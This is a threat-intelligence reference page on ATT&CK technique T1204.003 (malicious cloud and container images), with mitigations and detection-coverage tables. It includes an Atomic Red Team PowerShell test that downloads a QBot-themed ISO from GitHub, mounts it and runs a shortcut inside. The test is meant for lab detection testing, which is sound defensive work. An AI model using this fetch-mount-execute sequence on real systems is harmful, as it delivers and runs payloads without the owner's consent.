Home/ATT&CK Technique/Malicious Image
ATT&CK Technique

Malicious Image

T1204.003 · execution

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access.

This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container. Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location).

IaaSContainers

Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsMalicious Execution from Mounted ISO Image
Adversaries may rely on a user running a malicious image to facilitate execution
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk

Mitigations

4
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1017User Training

User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses.

Create Comprehensive Training Programs
  • Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.
  • Provide role-specific training for high-risk employees, such as helpdesk staff or executives.
Use Simulated Exercises
  • Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.
  • Run social engineering drills to evaluate employee responses and reinforce protocols.
Leverage Gamification and Engagement
  • Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.
Incorporate Security Policies into Onboarding
  • Include cybersecurity training as part of the onboarding process for new employees.
  • Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.
Regular Refresher Courses
  • Update training materials to include emerging threats and techniques used by adversaries.
  • Ensure all employees complete periodic refresher courses to stay informed.
Emphasize Real-World Scenarios
  • Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.
  • Discuss how specific employee actions can prevent or mitigate such attacks.
M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

M1045Code Signing

Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.

Enforce Signed Code Execution
  • Implementation: Configure operating systems (e.g., Windows with AppLocker or Linux with Secure Boot) to allow only signed code to execute.
  • Use Case: Prevent the execution of malicious PowerShell scripts by requiring all scripts to be signed with a trusted certificate.
Vendor-Signed Driver Enforcement
  • Implementation: Enable kernel-mode code signing to ensure that only drivers signed by trusted vendors can be loaded.
  • Use Case: A malicious driver attempting to modify system memory fails to load because it lacks a valid signature.
Certificate Revocation Management
  • Implementation: Use Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRLs) to block certificates associated with compromised or deprecated code.
  • Use Case: A compromised certificate used to sign a malicious update is revoked, preventing further execution of the software.
Third-Party Software Verification
  • Implementation: Require software from external vendors to be signed with valid certificates before deployment.
  • Use Case: An organization only deploys signed and verified third-party software to prevent supply chain attacks.
Script Integrity in CI/CD Pipelines
  • Implementation: Integrate code signing into CI/CD pipelines to sign and verify code artifacts before production release.
  • Use Case: A software company ensures that all production builds are signed, preventing tampered builds from reaching customers. Key Components of Code Signing.
  • Digital Signature Verification: Verifies the authenticity of code by ensuring it was signed by a trusted entity.
  • Certificate Management: Uses Public Key Infrastructure (PKI) to manage signing certificates and revocation lists.
  • Enforced Policy for Unsigned Code: Prevents the execution of unsigned or untrusted binaries and scripts.
  • Hash Integrity Check: Confirms that code has not been altered since signing by comparing cryptographic hashes.
M1047Audit

Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements.

The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. Auditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.

System Audit
  • Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.
  • Implementation: Use tools to scan for deviations from established benchmarks.
Permission Audits
  • Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.
  • Implementation: Run access reviews to identify users or groups with excessive permissions.
Software Audits
  • Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.
  • Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.
Configuration Audits
  • Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).
  • Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.
Network Audits
  • Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.
  • Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

Comply & Defend

Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin